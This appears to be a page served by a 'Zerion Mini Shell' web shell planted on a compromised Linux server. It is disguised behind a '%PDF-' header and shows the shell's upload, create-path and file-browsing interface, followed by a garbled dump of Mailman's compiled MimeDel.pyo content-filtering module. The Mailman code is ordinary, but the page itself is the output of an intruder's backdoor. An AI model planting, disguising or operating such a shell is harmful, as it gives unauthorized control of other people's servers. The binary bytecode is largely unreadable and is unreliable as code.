%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/Mailman/Handlers/
Upload File :
Create Path :
Current File : //lib/mailman/Mailman/Handlers/MimeDel.pyo

�
��ac@sdZddlZddlZddlZddlmZddlmZddlm	Z	ddlm
Z
ddlmZddl
mZdd	lmZdd
lmZddlmZddlmZd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZdS(s\MIME-stripping filter for Mailman.

This module scans a message for MIME content, removing those sections whose
MIME types match one of a list of matches.  multipart/alternative sections are
replaced by the first non-empty component, and multipart/mixed sections
wrapping only single sections after other processing are replaced by their
contents.
i����N(tsplitext(ttyped_subpart_iterator(tmm_cfg(tErrors(tUserNotification(tget_switchboard(tsyslog(tVERSION(t_(tonelinecCs|js
dS|jd�r dS|j�}|j�}|j}|j}||ksb||kr~t|||td��n|r�||kp�||kr�t|||td��n|j}|j	}t
|�}	|	r6|	|krt|||td��n|r6|	|kr6t|||td��q6ntg|j�D]}
|
^qF�}|j
�r�t|j��}t|||||�t|j��}
|
dkr�|dkr�t|||td��q�n|jrt|�|dkr|jd�}t||�qn|j
�r2t|�nd}|tg|j�D]}
|
^qK�krld	}n|jr�tjr�|t|�7}n|j
�r�t|j��d
kr�|jd�j�dkr�|jd	�}t||�d	}q�n|rdt|d
<ndS(Ntisdigests4The message's content type was explicitly disalloweds5The message's content type was not explicitly alloweds6The message's file extension was explicitly disalloweds7The message's file extension was not explicitly allowedis.After content filtering, the message was emptysmultipart/alternativeiitsMailman/MimeDel %ssX-Content-Filtered-By(tfilter_contenttgettget_content_typetget_content_maintypetfilter_mime_typestpass_mime_typestdisposeRtfilter_filename_extensionstpass_filename_extensionstget_file_exttlentwalktis_multiparttget_payloadtfilter_partstcollapse_alternativestcollapse_multipart_alternativest
reset_payloadtrecast_multiparttconvert_html_to_plaintextRtHTML_TO_PLAIN_TEXT_COMMANDtto_plaintextR(tmlisttmsgtmsgdatatctypetmtypetfiltertypest	passtypest
filterextstpassextstfexttsubparttnumpartstprelentpostlentfirstalttchangedptuseful((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pytprocess-sf					%	

+	$
cCs�|j�}|j|�|d=|d=|d=|d=|jdd�|d<|jd�}|rm||d<n|jd�}|r�||d<n|jd�}|r�||d	<ndS(
Nscontent-typescontent-transfer-encodingscontent-dispositionscontent-descriptions
text/plainsContent-TypesContent-Transfer-EncodingsContent-DispositionsContent-Description(Rtset_payloadR
(R#R,tpayloadtctetcdisptcdesc((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyR{s 


cCsC|j�sdS|j�}t|�}g}x�|D]�}t|||||�}	|	s_q5n|j�}
|j�}|
|ks5||kr�q5n|r�|
|kp�||kr�q5nt|�}|r�||kr�q5n|r�||kr�q5q�n|j|�q5Wt|�}
|j|�|
dkr?|dkr?dSdS(Nii(	RRRRRRRtappendR4(R#R'R(R)R*R5R.t
newpayloadR,tkeepR%R&R+R/((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyR�s8
	
cCs�|j�sdSg}x�|j�D]�}|j�dkr�yO|jd�}|j�dkr|t||�|j|�n
|j|�Wq�ttfk
r�q�Xq#|j�r�t|�|j|�q#|j|�q#W|j|�dS(Nsmultipart/alternativeismessage/rfc822(	RRRRR9t
IndexErrort	TypeErrorRR4(R#R:R,R0((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyR�s$

cCs�|j�r}t|j��dkrY|j�dkrYt||jd��t|�q}x!|j�D]}t|�qfWndS(Nismessage/rfc822i(RRRRRR(R#tpart((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyR�s
c		Cs$d}xt|dd�D]}tjd�}t|d�}zu|j|jdd��|j�tjt	j
i|d6�}|j�}|j�}|r�td	d
|�nWdytj
|�Wn+tk
r�}|jtjkr��q�nXX|d=|j|�|jd�d}qW|S(
Nittextthtmls.htmltwtdecodeitfilenameterrorsHTML->text/plain error: %sscontent-transfer-encodings
text/plain(RttempfiletmktemptopentwriteRtclosetostpopenRR treadRtunlinktOSErrorterrnotENOENTR4tset_type(	R#R1R,RCtfptcmdt	plaintexttrtnte((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyR!�s.



cCs�|jdkrtj|�n|jdkra|j�}|j|dtd�dtd��n|jdkr�tjr�ttj	�}|j
||�ntj�dS(NiiR?s�The attached message matched the %(listname)s mailing list's content filtering
rules and was prevented from being forwarded on to the list membership.  You
are receiving the only remaining copy of the discarded message.

tsubjects%Content filtered message notificationi(t
filter_actionRt
RejectMessaget
internal_nametForwardMessageRRt%OWNERS_CAN_PRESERVE_FILTERED_MESSAGESRtBADQUEUE_DIRtenqueuetDiscardMessage(R"R#R$twhytlistnametbadq((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyR�s		cCsxd}|jd�p$|jdd�}|rntt|d��d}t|�dkre|d}qnd}n|j�S(si
    Get filename extension. Caution: some virus don't put filename
    in 'Content-Disposition' header.
Rtnamesutf-8i(tget_filenamet	get_paramRR	Rtlower(tmR+RC((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyRs!
	(t__doc__RJROREtos.pathRtemail.IteratorsRtMailmanRRtMailman.MessageRtMailman.Queue.sbcacheRtMailman.Logging.SyslogRtMailman.VersionRtMailman.i18nRt
Mailman.UtilsR	R3RRRRR!RR(((sf/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/MimeDel.pyt<module>s*	N		&				

Zerion Mini Shell 1.0